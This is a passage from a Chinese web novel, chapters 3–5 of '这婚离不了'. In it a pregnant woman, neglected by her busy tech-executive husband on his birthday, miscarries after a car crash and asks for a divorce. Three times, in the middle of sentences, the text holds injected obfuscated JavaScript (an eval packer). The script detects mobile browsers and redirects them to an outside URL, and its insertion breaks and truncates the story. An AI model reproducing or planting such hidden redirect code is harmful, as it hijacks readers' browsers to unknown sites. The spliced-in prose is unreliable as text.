《这婚离不了》 3. 003 次日,姜南被闹钟叫醒,身旁没了人。 下楼时,蒋弈行正在吃早餐。 姜南坐下一起用餐,提议道:“那我下午就在家等你一起去产检,晚上在外面吃饭,怎么样?” 蒋弈行点头,“好。” 蒋弈行去公司后,姜南到衣帽间换衣服。 想起周言熙精致的打扮,姜南穿上一套针织裙搭配收腰大衣。 她从储物格里取出一个礼品盒,里面装着黑色男士钱包。 今天是蒋弈行的生日,这是她准备的生日礼物。蒋弈行没有物欲,日常也不缺什么,姜南思来想去决定送手工。这个钱包是她找老匠人学习,亲自挑选上好皮料,自己一针一线手工制作。 姜南在家吃过午饭,下午闲来无事去整理书房。 收拾抽屉时,看到一个蓝色塑料收纳箱,里面装着一个旧手机,一个旧钱包,还有一些杂七杂八的U盘和数据线。手机蒙着厚厚的灰尘,棕色钱包一角被磨破,看起来很有些年头了。 姜南的断舍离仅限于自己的东西,蒋弈行的东西她不会随意处置。她抽出一张湿纸巾,将手机擦拭干净,又拿起钱包擦拭。 当她打开钱包,发现隔层里还有几张拍立得。 姜南好奇的抽出来看,一眼就认出是蒋弈行跟周言熙的合照。只是两人清纯稚嫩的模样,令她感觉熟悉又陌生。 周言熙长发披肩,年轻的脸庞没有化妆,看起来比现在更加清纯可人。蒋弈行的黑发比现在要长一些,刘海随意落下,剑眉凤目,目光自带清冷感,但脸上是明朗的笑意,透着一股蓬勃的少年气。 钱包里一共有两张照片,一张是她笑盈盈的靠在蒋弈行肩头,一张是两人一起对着镜头扮酷。 她将照片重新放入钱包内,鬼使神差的拿起已经擦拭干净的手机,又找出数据线,走到插座旁充电。 当屏幕显示正在充电时,她意识到这个手机还是好的。片刻后,她的手指长按开机键,屏幕亮了。 当她想要更进一步时,弹出来解锁提示:请用数字密码或指纹解锁。 姜南试着用蒋弈行的生日输入,密码错误。 连续尝试多次,直到手机锁定,还是没有试出正确密码。姜南没有恼羞,反倒是清醒了一般,如释重负的放下手机。 如果这手机里储存的都是蒋弈行和周言熙的过去,她看了不是给自己添堵吗? 姜南在家待到下午三点,还没有等到蒋弈行的消息。 她纠结片刻,给他打去电话。 拉长的铃声,一遍遍响着,终于被接通。 “什么时候来接我?”姜南问,“再晚可能来不及。” “临时有个会,没时间。”男人声线淡沉。 姜南想说一句没关系,嘴唇动了动,没发出声音。 从怀孕到现在,蒋弈行只在最开始陪她去了一次医院。这个孩子要的不容易,她不像其他孕妇那样,静静等待满三个月去建档。她需要每周监测数据,从去医院打针到自己动手打保胎针,她熟能生巧,却又像是一场只有她自己参与的攻坚战。 姜南罕见的沉默,令蒋弈行再次道:“改个时间,明天上午陪你去。” “好。”姜南应下来,“晚上有时间吗?今晚是……” “开会了。”蒋弈行打断她的话。 嘟嘟嘟的忙音传来,电话挂断了。 姜南习惯了蒋弈行的忙碌状态,她还在创行科技上班时,蒋弈行就很忙。如今创行的研发出了突破性成果,公司在业内声名鹊起,他更忙了。 姜南不想继续在家里干等着,在手机上翻了翻,团购了一张音乐剧的票。 她将生日礼盒装入手提包中,一并带出门。 刚走出大门,冷风吹来,姜南感觉浑身上下都凉飕飕的。上午还有太阳露头,此时天空阴云堆积,寒风呼啸。姜南走到车边,又一阵风吹来,有种天灵感都被掀开的凉意。 姜南放弃风度,回到屋内,老老实实换上羽绒服。孕期感冒就麻烦了。 城南大剧院内。 舞台中央,追光灯跟随舞者的步伐,“白天鹅”们足尖点地,轻盈旋转。 姜南坐在视野最好的位置,靠着软垫,手里捧着保温杯,在立体环绕音响中接受艺术的熏陶。 搁在扶手上的手机屏幕亮了下,微信提示音接连响起,姜南调整姿势,拿起手机。 是妹妹姜菀葶发来的消息,几张照片接踵而至。 照片里蒋弈行身穿烟灰色西装,搭配撞色领带,黑色短发随意支棱在脑袋上,碎发下是一张冷白皮的脸,优越的骨相扛住了刁钻的拍摄角度,帅的很客观。 站在他身旁的周言熙,身穿香家高定套装,黑亮柔顺的长发别至耳后,带着楚楚动人的美感。 显然这是今天拍的照片,蒋弈行那身穿着,还是她昨晚为他搭配准备的。 姜南上午才看到这两人年轻时的合照,这会儿又看到他们新鲜出炉的同框,犹如穿梭时空,见证他们从过去到现在,心中五味杂陈。 姜菀葶的消息接二连三弹出来。 葶葶:“姐,看到照片里的女人没?” 葶葶:“她是创行新项目合作方负责人,周言熙!周宇集团的千金!” 姜南:“哪来的照片?” 葶葶:“思睿拍的……” 葶葶:“他说老员工们私底下八卦,这位千金是蒋总的白月光……当初一对金童玉女,因为门不当户不对,被周家棒打鸳鸯……” 葶葶:“我可好奇了,就让他想办法拍几张照片我看看。” 葶葶:“天杀的没想到这么漂亮!姐,你一定要注意啊,来者不善!” 葶葶:“你现在是孕期,都说男人这时候最耐不住寂寞,当然我没有怀疑姐夫人品的意思……” 葶葶:“你可以适当敲打一下姐夫?在他们的旧情还没有复燃之前……” 葶葶:“真有什么歪心思,家法教训!动手前记得摇人,我和思睿永远是你忠实的护卫!” 姜南:“我谢谢你们了[捂脸.jpg]” 姜南放下手机,目光再度落在舞台上时,没有聚焦。 这个消息不算很劲爆,她在看到那些照片时就已经有了预设。只是,她到现在都没有完全消化好,也没能整理出一条合理的思路,以后该怎么看待这个现合作方暨前白月光。 走出大剧院,暮色西沉,铅灰色阴云层层叠叠笼在头顶。 道路两旁的银杏树,树叶褪尽,枝桠在呼啸的寒风中摇晃,无端透出几分萧索感。 姜南打了个喷嚏,将手提袋里的围巾拿出来给自己裹上,清瘦的下巴被遮挡的严严实实。 姜南一边往停车场走,一边给蒋弈行打电话。 “我定好了晚上吃饭的餐厅,你什么时候过来呀?” “今晚有安排了。”男人语气淡淡。 姜南沉默须臾,低声道:“今天是你的生日,我想跟你一起过。” “就因为是生日,有应酬。” “我和宝宝加一起都没有应酬重要吗?”姜南冲动的问,虽带了情绪,语气仍是温软。 冷空气安静环绕,听筒那端的呼吸声若有似无。在令人窒息的沉默中,姜南突然意识到,她这话问的很崩人设。她向来是最理解最支持他拼事业的人。 她从他的下属变成他的老婆,很大一部分原因就是他的私生活被工作填满,无暇搭理那些燕瘦环肥花花草草。 蒋弈行道:“生日可以下次补过。” “嗯。”姜南应声。终于等到他开口,说什么已经不重要了,至少他没有挂断电话,还给她递了台阶,她自然要下。“那你少喝点,我回家等你。” 车子停在不远处树影下,刘橙见姜南走来,立马下车,替她拉开后座车门。 因为姜南不想要住家阿姨,蒋弈行便给她招聘了这位生活助理,负责她孕期的饮食起居和出行开车。 上车后,刘橙问:“南姐,去哪儿?” 姜南:“回家吧。” 刘橙看了眼后视镜,老板娘脸上表情寡淡,兴致怏怏。 原本的行程安排是先来剧院,然后去餐厅,看来又被老板放了鸽子。 刘橙暗叹,钱难赚,屎难吃,做大老板的太太也得忍气吞声。想当年她怀孕那时候,她不争气的老公可是鞍前马后,把她当皇太后一样伺候到生产。 车子驶上城市快速路,墨蓝的夜空中突然飘下棉絮般的雪花。 姜南惊喜的打开车窗,几片细小的雪花飘落掌心。 这是今年的第一场雪。 如果弈行在就好了,在他三十三岁生日这天,伴着初雪的烛光晚餐,想必更加浪漫。 姜南关上车窗,还没来得及叹息,“砰——” 的一声巨响,车子一侧发生巨大震颤! 猝不及防的她被这股推力猛地往一侧甩去!还没缓过神,车子惯性前行,又是一声巨响,撞向路边围栏,堪堪被极限逼停——她的身体摔下座椅,撞上前座底盘。 刘橙顾不上头晕目眩,第一时间看后排的姜南,惊惧的问:“南姐,你没事吧?” 姜南在撞击发生的那一刻,大脑一片空白,第二次撞击后血液开始疯狂奔涌倒行逆施,整个人被恐惧所攫住,四肢呈现出僵硬到麻木,甚至动弹不得的状态。 在刘橙的焦急询问下,她逐渐找回神智,撑着自己起身,重新坐上座椅。为了不让刘橙担心,勉力道:“没事,就是摔了下……” 刘橙左看看右看看,见姜南没什么异样,才算松了一口气。 就在刘橙打电话报警时,撞车的路虎司机主动走上前,敲了敲车窗。 刘橙打开车窗,路虎司机满脸歉意的说:“不好意思啊老妹,能不能私了?我会负责全部维修费用,外加两万的额外赔偿。” 刘橙冷道:“我已经报警了。” “报警也没关系。”男人摆了摆手,“咱们还是可以私了,这样,你开个价吧。” “急什么,该你承担的责任,你一点都跑不了!” “不是,让你开个价,你还跟我扛上了?”男人简直无法理解,开个二十来万小破车的女人,咋跟个犟驴似的。他一晃眼看到后座有人,反唇相讥,“怎么,给老板开车啊?那我可得提醒你老板,请女司机太危险了!该避让的时候偏要往前冲,要不是你这么急,哪会出事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471496|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿!” 后座车窗缓缓滑下。 凛冽的寒风裹着雪花砸在脸上,姜南煞白的脸蛋瞬间被冻的通红,但这彻骨的寒意,反倒让她大脑更加冷静了几分。 她语气淡淡开口:“我的司机我很满意,倒是你,油门和刹车都分不清就敢出来抢道,这么着急是要开去火葬场吗?” 男人倒吸一口凉气,没想到这女人长着一张很好说话的脸,嘴皮子这么毒。 “不是,你……”他疯狂的头脑风暴,想要羞辱回去。 “免费科普,交通事故中肇事男司机占比80%——都是像你这样的傻逼。”姜南说完,高冷的关上车窗。 刘橙内心高呼666,一并关上车窗。 男人在车窗外无能狂怒的骂了一声,又不敢做出过激行为,最终骂骂咧咧离开。 车内,姜南靠着椅背,手掌轻抚肚子,既是平定自己的心情,也是安抚肚子里的宝宝。可不适感还没消退,小腹内窜起一股绞痛。 刘橙眼见姜南神色不对,焦急问道:“怎么了?不舒服吗?” 姜南声音透出虚弱:“肚子痛……” “肚子痛?!”刘橙被吓懵了。两个多月的陪伴,她知道姜南这个孩子怀的多不容易,真有什么闪失,她万死难辞其咎。 刘橙抖着手拨打120。虽然她恨不得马上送姜南去医院,但这辆车才发生事故,不知道有没有损坏,她不敢贸然启动。 令人焦灼又无措的等待中,时间一秒一秒的缓慢流逝。 姜南后知后觉想起来,孩子不是她一个人的,孩子还有爸爸。 她握起手机,拨打蒋弈行的号码。她给他设置了快捷键,闭着眼睛都能拨。 “嘟……嘟……嘟……嘟……嘟……” 铃声仿佛被无限拉长,直到最后响起声音,“对不起,你所拨打的电话暂时无人接听,请稍后再拨……Sorry, the number you dialed is busy, please try later……” 救护车风驰电掣赶到,在刘橙与医院工作人员协作下,姜南躺上了救护车。 姜南的腹部持续绞痛,脸色惨白如纸。其实疼痛没有那么难以忍受,甚至不及痛经来的厉害,但内心的恐惧正在无数倍放大她的痛苦。 她是不易孕体质,好不容易得来的孩子,承载了她太多的情感和期待。虽然还不到三个月,可从备孕,到顺利怀上,她日复一日的调理,吃药,打针,化验,每天都在希望与忐忑中交替度过。 眼看就要满12周,顺利进入孕中期。 来电铃声突然响起,打破救护车内的沉寂。 刘橙心神一紧,下意识道:“是蒋总来电了吗?” 老天爷,她捅出这么大的篓子,完全不知道该怎么跟老板汇报! 姜南晦暗的眼底燃起一丝光亮,她拿起手机,看到来电显示“葶葶”两个字。 一种不具名的失望弥漫眼底,姜南接通电话。 “姐,在忙吗?” “我出车祸了……” “什么?!”姜菀葶从沙发上跳起来,“你现在怎么样?还能跟我通话,应该问题不大吧?” “肚子痛,在去医院的路上……” “肚子痛!我的天!”姜菀葶慌了神,“你是孕妇啊……要命了!我马上赶过去!” 听筒里一阵窸窸窣窣的声音,夹杂着慌张的脚步声和磕到什么的抽气声,但很快被压住,姜菀葶急促的声音带着微颤:“姐,别怕,没事的!你撑住啊!你一定可以保护好小九月!你们都会好好的!” 九月是姜南给宝宝取的小名。 她是在九月得知宝宝的到来。如今十二月,他们血脉相连共度了将近三个月。 姜南强撑的冷静,在妹妹的安抚下反倒失了控。恐惧就像疯狂涨潮的江水,带着席卷一切的威力倾覆而来,她抬起手臂压在脸上,却止不住泪水在胳膊与脸庞的缝隙中肆虐。 她不想失去这个孩子。 虽然它还没有出生,甚至没有成型,可是她真的很爱很爱它。 她每天都在想,等它出生后,要怎么呵护陪伴,才能不辜负这一场亲子情分。 车子抵达医院,姜南被抬下车的瞬间,雪花落在她的脸上。 冰冰凉凉的,却又莫名温柔。 冥冥之中,仿佛感觉到什么,姜南泪眼婆娑看着夜空,心里空落落的疼。 寒风呼啸,无数雪花交织成一片白茫茫的大网,彻底笼住这个世界。 姜菀葶赶到医院时,姜南刚做完B超检查。 医生惋惜道:“没有胎动了,可以考虑安排清宫。” 姜菀葶双腿直发软,强撑住自己,红着眼睛追问:“不是,医生,你没看错吧?要不要再做一次检查?人命关天,这不是开玩笑的!” 医生怕她们难以接受,委婉道:“可以先办理住院,休息一晚,明天再检查一次。不过耽误一晚,还有感染的风险。” 刘橙感觉天都榻了,忍着眼泪,对姜南道:“要不先给蒋总打个电话,问问他的意见?” 刘橙顶着巨大的心理压力,拨打蒋弈行的电话。 4.004 “嘟……嘟……嘟……嘟……嘟……” “对不起您所拨打的电话无人接听,请稍后再拨。” 刘橙缩了缩脖子,莫名感觉情况更糟了,下意识解释道:“蒋总正在忙吧。” 姜南阖上眼皮,乌黑的睫毛将眼底情绪一并藏住,有气无力的“嗯”了一声。 “要不……要不我们先观察一晚?”姜菀葶小心翼翼的看着姜南,像是唯恐姐姐碎掉。 “不用了。”姜南出声,“安排手术吧。” 姜菀葶赶忙上前搀扶,想说什么,哽咽不成声。 “木已成舟,接受现实。”姜南道。 “病人家属什么时候到?”医生问,“手术需要签字。” “我就是家属!”姜菀葶应声,“我来签字。” 直到一切就绪,姜南被推入手术室,姜家父母和姜菀葶的男朋友徐思睿都陆续赶来。姜菀葶给蒋弈行拨打电话,仍是无人接听。 姜菀葶憋了一肚子火,跺着脚道:“关键时刻总不见人!要他何用!产检没空陪也就算了,现在发生这么大的事儿,我姐都躺在手术室了,他跟人间蒸发了一样!” 姜母郭丽蓉劝道:“那是你姐夫,不要乱说。” 姜父姜建业道:“你姐夫忙,咱们得体谅。” 姜菀葶对父母这时候还帮蒋弈行说话极为不满,“你们怎么就不替我姐想想?那是他们两个人的孩子,又不是她一个人的!凭什么全都让她来承受?” 姜建业连连摆手,“你可别说了,是你姐不小心,把孩子整没了,我们都没法给弈行交代。” 郭丽蓉愁地直叹气,“两人结婚这么多年,还没个孩子,眼瞅着都三十了……你当心这么下去,你姐连婚姻都保不住。” 姜菀葶深吸一口气,猛掐人口,“你们俩都改姓蒋吧,我看你们对他比对亲爹还孝敬!” 徐思睿看着姜父姜母发绿的脸庞,赶在他们发火之前,连哄带劝的把姜菀葶拉走了。 手术顺利结束,姜南被推入病房。 主治医生对在场家属叮嘱术后注意事项:“她身体情况特殊,术中出血量大,需要住院一天观察情况,没有问题的话,明天就可以出院了。” 又温声细语的对姜南多说了几句,“身子好好养,对以后生孩子不会有影响的。” 她看向姜南的眼神,满是怜惜。 患者拒绝麻醉,全程在清醒状态下进行清宫,痛极的时候都没吭声。妇产科工作这么多年,很少见到心理素质和忍耐力都这么顽强的女人。 夜深人静,雪渐渐停了下来,只有枝桠上覆盖的薄薄白雪,证明它来过。 姜南把家人支走,独自靠在病床上休息。 她拿起手机,没有蒋弈行的来电提醒。 为了转移注意力,打开朋友圈,恰好看到创行科技市场总监新鲜出炉的动态。 刘庭安:老大生日快乐! 配图有九张,背景都是会所包间。 其中一张照片里,蒋弈行懒洋洋的靠在沙发上,即使光影昏暗,也能看出他优越的轮廓和一双犀利冷清的丹凤眼,唇角噙着漫不经心的笑意。 上位者的姿态,只一张照片,便具象化了。 围在他身旁的人,都是不起眼的陪衬。 还有一张照片是众人碰杯,蒋弈行依然占据镜头C位,端着酒杯的手白皙修长,清隽腕骨上戴着一块创行科技的智能手表。周言熙站在他身旁举杯,腕上戴着同款女士手表,被定格的画面里,她正看着他笑。 姜南眼眶潮湿,在手术中一直没掉下的泪,突然间簌簌滚落。 …… 医院大楼外,马路边。 “你们回去休息吧,这边有我在!”姜菀葶替爸妈关上车门。 网约车汇入车流中,很快没了踪影。 一转身,徐思睿将热乎乎的奶茶塞入她手中,又替她插上吸管。 姜菀葶猛吸一口奶茶,在寒冷冬夜里,心里总算泛起一丝暖意。为了避免偏心眼子的爹妈,说出二次伤害姐姐的话,她把他们送走,自己留下来照顾。 姜菀葶挽上徐思睿的胳膊,一边喝着奶茶,一边慢步往回走。 一辆黑色大G从旁驶过,经过医院大门口时,明亮的灯光落下来,她看到了眼熟的车牌号。 姜菀葶指着那辆车的尾巴,“这是姐夫的车,他可算大驾光临了。” 姜菀葶正要快步前行,徐思睿拉住她的手,“给他们夫妻一点空间。” 单人病房内。 蒋弈行站在床边,身穿浅灰色大衣,衣料质地柔软又挺括,将他宽展的肩线勾勒的恰好到处。男人面色沉肃,看着病床上的姜南,低声道:“抱歉,我来晚了。” 姜南沉默的望向窗外,没有做声。 蒋弈行解释道:“之前手机在充电,不在我手边。我看到你和刘橙的来电,跟刘橙了解情况后就赶过来了。” 蒋弈行拉开床边座椅坐下,手掌覆住姜南搭在被子上的手,轻轻拍了拍,“不要难过,孩子还会再有的。” 姜南手心一颤,不动声色的挪开了。 病房内暖气开的足,在暖融融的空气中,飘散出丝丝缕缕的酒气。 蒋弈行脱掉大衣,随手搭在椅背上,那股淡淡的酒气,又加重了几分。 姜南一言不发,目光望向窗外。 蒋弈行看着她,几番欲言又止,最终沉默陪伴。 手机提示音接二连三响起,蒋弈行拿出手机,处理那些消息。 安静的病房内,只有时而响起的手机声。 当姜南回头看向蒋弈行时,他的注意力已经完全在手机上了。 明明两人在一个房间内,相距不过咫尺,她却觉得他远在天边。 一道无形的墙壁将他们阻隔开来。 相识四年,结婚三年,她用了七年时间都没推开这堵墙。 人生还有几个年华尚好的七年? 姜南缓缓出声:“我们离婚吧。” 蒋弈行还在回消息,听到姜南说话,不太确定的抬头询问,“你说什么?” 姜南动了动唇,刚想重复,手机铃声突兀响起,蒋弈行看了一眼,起身道,“我先接个电话。” 蒋弈行起身离开房间。 二十分钟后,蒋弈行回到病房坐下,但他似乎忘了姜南有话说,再次忙碌起来。 “蒋弈行。”姜南闭了闭眼,忍无可忍道,“你能不能先把手机放一放,把你的私事,你的公事都放一放,我知道你很忙,但我不会耽误你太久时间。” 蒋弈行专注看她:“什么事,你说。” “离婚。”姜南用了祈使句,不再是商量的语气,“我们离婚。” 蒋弈行定定的看了她半晌,才开口:“刚失去孩子,情绪不好?” “我不会把这话放心上,你先把身体养好。”蒋弈行倾过身,正要轻揉姜南脑袋以示安抚,被她抬手挥开。 “我的话说完了。”姜南闭眼,靠着床头,“我要休息了,你走吧。” 姜菀葶来到病房门口时,恰好看到被撵出门的蒋弈行。 姜菀葶背后总蛐蛐蒋弈行,真到了他跟前还是不敢叫嚣。 毕竟是姐夫,算半个长辈,加上他平日里不苟言笑,气场强大,跟他待一块儿连空气都仿佛被压缩了,怪不自在。 蒋弈行道:“你姐现在情绪不好,你开导开导她。” 姜菀葶别过脸,不满道:“你身为她老公不开导,我开导就有用?” “她跟我提离婚,我怎么开导?”蒋弈行反问。 “?!”姜菀葶错愕转头,一时间忘了言语。 徐思睿站出来解围,“蒋总喝了酒,不适合待在医院里,葶葶留下来陪姐姐,我先送蒋总回去。” 两人离去后,姜菀葶进入病房,姜南正靠在床头摆弄手机。 姜菀葶走到床边,低声问:“姐,你要跟姐夫离婚?” 姜南点头,手指在屏幕上点了几下,道:“律师明天过来拟离婚协议。” “??”不是,这么雷厉风行的吗? 姜菀葶消化片刻,坐在床边,慢吞吞的说:“这个……其实……车祸跟姐夫没关系的吧……也不必闹这么大……” 姜南转过头看姜菀葶,“你不是总说我丧偶式婚姻,说他不像个丈夫,像个领导吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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直到婚后半年,姐姐离职,她跟姐姐经常混在一起,她才发现,这夫妻俩在生活中更像是领导和下属。姐姐总是在等待,在迁就,在配合。秀恩爱是没有的,亲昵是没有的,陪伴更是没有的。 以前以为他是富翁,后来看姐姐过的抠抠搜搜才知道,公司研发需要持续投入资金,他还有曾经创业失败的负债,可谓是负翁。她一度觉得,姐姐是色令智昏,才在这一言难尽的婚姻里甘之如饴。 但是—— 两年前,创行科技的产品研发有了突破,在业内一举轰动。 蒋弈行被聚光灯笼罩,成为领域内的大牛,资本们捧着钱往他手里塞。 如今的蒋弈行,已经是货真价实的霸总了。 这时候离婚,不就跟49年脱离我党一样,前功尽弃! 姜菀葶劝道:“姐,你先好好休息,就算你想离婚,也不急这一时半会儿,还有财产分割问题呢,慢慢来,掰扯清楚了来。” 姜南:“你今天的连载写了吗?” “!”突然的转向,令姜菀葶猝不及防,甚至有种上课开小差被老师抓包的感觉,“没……白天没写完,晚上准备写,又赶到医院来……” “距离十二点还有两个小时,来得及。” 姜菀葶一脸苦涩,“要不今天就算了,请假吧?我现在没情绪啊,再说了,我得留在这里陪你啊……” “你待在这里,也是干坐着。有事我会喊护士,还有护工。”姜南云淡风轻道。 “……”眼看推脱不了,姜菀葶只能道,“其实用手机写也行,我去外面走廊,有需要你随时叫我。” “那你还不如待在这里,房间里有暖气。” 夜色深沉,铅云蔽月。 病房内只亮了一半的灯光。 姜南躺在病床上休息,姜菀葶坐在沙发区,拿着手机,两只大拇指在手机屏幕上不断游走。 姜南内心并不像表面上看起来那么冷静,相反,她把所有的惊涛骇浪都压在心底。 脑海中思绪纷扰,久久无法入睡。 当她睁开眼,看向姜菀葶,一盏白炽灯光下,她神情专注,心无旁骛,手指持续敲击屏幕。她知道,她已经沉浸在自己的世界里。 姜南不由得想到自己25岁时。 那时候她还没有嫁给蒋弈行,没有把经营家庭作为自己人生的全部。 虽然喜欢他,但她更喜欢自己,她有拼搏的事业,有自信的源泉,有无数平凡但快乐的生活碎片。 为什么一场婚姻,将她变得面目全非。 变成这么平庸、贫乏甚至贫瘠的一个人。 5.005 创行科技大楼,总裁办公室。 蒋弈行审批文件时,律师敲门进来,递上一份协议。 蒋弈行目光扫过,看到离婚协议几个大字,正在签字的笔顿住。 他拿起那份协议,一目十行的掠过,随即甩在桌面上,对律师道:“你先出去。” 律师识趣的离开。 蒋弈行拿起手机,给姜南打电话。 电话接通后,蒋弈行捏了捏眉心,淡沉的声音难得带了一丝哄人的语气:“我知道失去孩子,你心里不好受,我也不好受。但你好好调养身体,孩子还可以再要。” “协议你看完了吗?”姜南态度平和,“没问题的话就签字吧。” 蒋弈行起身走到窗边,手掌压在窗台上,沉声道:“我会让肇事司机付出代价,一定会让他承担刑事责任。” 姜南道:“那我谢谢你。” 违反交规致孕妇流产这件事,可大可小,全看怎么操作。对方开着路虎,说明不差钱,如果还有相关人脉的话,很可能只是赔钱了事。 蒋弈行:“但是车祸已经发生了,离婚你能得到什么?” “我能得到内心的平静。”姜南说,“我们没什么财产分,除了婚后买的房子。你只要让出那套房子就行。以你如今的身价,这不是什么过分的要求。” 那套房子是她用工作多年的积蓄跟东拼西凑借的钱按揭买的。一年前蒋弈行把借款和按揭都还完了,现在是全款房。这几年虽然楼市下行,但房子地段好,相比买入时还涨了一些。 “离婚的消息,可以根据你的意愿公布。”姜南道,“你放心,是我自己要离婚,我不会破坏你的形象。” 蒋弈行深吸一口气后,说:“我建议你冷静下来。我马上到医院,我们面谈。” 单人病房内。 电话挂断后,姜菀葶捏着姜南的肩膀道,“等会儿姐夫来了,你可千万别服软。就算不离婚,也不能马上松口,不然真以为你是什么好拿捏的软柿子。” “等会儿?”姜南失笑,“他等会儿来不了。” “他不是说马上到医院吗?”难不成她在旁边听错了? 姜南自嘲道:“他可是日理万机的大忙人,以我在他心里垫底的位置,什么事都能排在我前面。” 创行科技办公大楼。 蒋弈行结束通话,转身往办公室大门走去。 刚打开门,与正要敲门的行政秘书面对面。 秘书晃神两秒,赶忙后退一步,回到正常距离,规避男人那张脸带来的视觉冲击,心里反复默念已婚男已婚男已婚男…… 她将视线下调,看着蒋弈行的皮鞋道:“蒋总,市领导一行预计半小时后抵达公司,进行考察调研,带队的是陈书记。” “不是说明天吗?”蒋弈行眉头微蹙。 “临时改了行程。” 蒋弈行抬手看了眼腕表,“今天不凑巧,我还有事,只能让高总接待了。” 秘书干巴巴道:“高总说,领导那边点名要你参加座谈会。” 蒋弈行沉默三秒,颔首:“知道了。” 但凡需要他出场的,都是高规格的活动。比如这次调研,涉及到一系列政策支持和专项拨款,对企业是重大利好。领导点名要他参加,他不能缺席。 …… 医院住院部。 姜菀葶陪姐姐在病房待到傍晚,天色黑下来,晚饭也吃完了,连周思睿都到了,上午说马上过来的蒋弈行还是不见人影。 姜菀葶往嘴里塞了一块周思睿带来的生巧,捏着锡箔纸,嘟囔道:“他到底还来不来啊?” 周思睿道:“今天市领导来公司调研,蒋总肯定很忙。” 姜菀葶讥笑一声,“上午在电话里还说,咱们面谈,我马上到。就这马上到的速度,乌龟听了得连夜退赛,树獭看了都自愧不如。” 姜菀葶对姜南投以还得是你料事如神的眼神,“姐,那咱们是等一等他,还是直接出院啊?” 姜南轻笑:“都要离婚了,谁还等他啊。” 本来也没什么好谈的,三年婚姻,除了那套房子,没有任何争议点。 周思睿讶异的看了姜菀葶一眼,趁着两人一起去办理出院手续时,低声问道:“南姐真在闹离婚?” 姜菀葶点头:“总得给蒋弈行一点颜色看看,不然以为我姐是没脾气的泥面人呢。” 一切处理妥当后,周思睿负责开车,送姐妹俩回家。 姜南看着窗外的道是驶向华新街那边,开口道:“去葶葶那边。” “啊?”姜菀葶不太确定的问,“不去爸妈那边吗?你现在身体亏空,需要人好好照顾。我最近连载期,总吃外卖,生活水平极为低下。” “如果爸妈知道我要离婚,我的耳根子不会清净。” “那……还是先去我那里吧,吃的再想想办法。” 周思睿依言,在下一个路口转向,无奈道:“蒋总这一关看来是不好过。” 姜菀葶住的小区不是核心地带,但周边配套齐全,房子不大,一个月五千的租金还算有性价比。 她读大学的时候开始写小说,因为是文科专业,毕业后找工作屡屡受挫,考公考研又都失败了,索性待在家里继续写小说。但这种家里蹲的行为,遭到父母的强烈反对,双方针尖对麦芒,摩擦不断。姜菀葶一度心态崩溃,关上房门后,边哭边打电话向姐姐诉苦。 作为长姐的姜南,眼看家庭矛盾越演越烈,默默帮姜菀葶挑了个房子,付好租金,让她搬出去住。 起初姜菀葶舍不得租金,当这一步迈出来,体会到拥有独立空间的快乐后,才发现天高海阔,心情舒畅,每天工作量都能翻倍。第二个季度她就抢先把租金交了。 到现在出来住了快两年,她事业平稳,有了男朋友,父母再也没有怨言,反倒是经常喊她回家吃饭,她忙起来的时候,姜母还会拎着鸡汤打车给她送过来。 半个小时后,车子抵达地下车库。 蒋菀葶下车,第一时间给姜南开车门,搀扶她下车。 姜南摆了摆手道:“我没那么虚弱。” 周思睿送姐妹俩上楼,手里还拎着今天特地去中医院开的补气血的中药。 开门后,姜南环顾四周,客厅内井然有序,浅色瓷砖明净锃亮,与以前偶尔串门的凌乱可以说是天壤之别。 “这么干净,我都不习惯了。”姜南手指抚过餐边柜的料理台,一丝灰尘都没有。 姜菀葶嘿嘿一笑,“思睿每周都要过来几次,顺便帮我打扫屋子。” 姜南扬眉,看向徐思睿,错愕又赞许的说:“没想到徐工代码写的好,家务也是一把好手。” 徐思睿腼腆的笑了笑,“举手之劳,葶葶搞创作很辛苦,我照顾她也是应该的。” 姜菀葶笑容带了一丝甜蜜,“他做饭也不错。嗨呀,我都想多赚点钱把他从创行赎出来,做我的贤内助。” “那你加油哦。”姜南微笑提议,“要不今天多写五千字吧,现在就去加更。” 姜菀葶倒吸一口凉气,“读者催更都没你这么丧心病狂!” …… 深夜,刚结束一场应酬的蒋弈行,被司机送回家。 随着他步伐走过,室内感应灯渐次亮起。蒋弈行走到沙发坐下,揉了揉酸胀的太阳穴。夜间感应灯的亮度很低,室内昏暗朦胧。他脑子还有些不清醒,随口道:“姜南,给我倒杯茶。” 半晌,寂静无声。 他放下按压的双手,“rock,开灯。” 灯光应声而亮,客厅瞬间亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480897|169876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如白昼。 蒋弈行茫然的思绪渐渐回神,他这才想起来,姜南在医院里,上午的那通电话还在跟他闹离婚。 蒋弈行走到水吧前,拿起杯子,接了一杯冷水。 冰凉的水从喉管一路滚落至胃袋,骤然的寒意令周身不适,但有很好的醒神效果。 天气入秋后,姜南总会把热茶送到他手边,还会换着花样煮一些养生茶、水果茶。不仅是在家里喝,还给他装上保温杯,让他带到公司去。起初他嫌麻烦,但他秋冬季容易咳嗽的毛病,在她细致照料下,的确好了很久,久而久之也就习惯了。 太久没碰生冷,胃部突发痉挛,他整个人也由内而外的清醒不少。 蒋弈行缓了一会儿,拿起大衣外套,推门而出。 蒋弈行打车来到医院,行至住院部大楼,电梯上到12层。 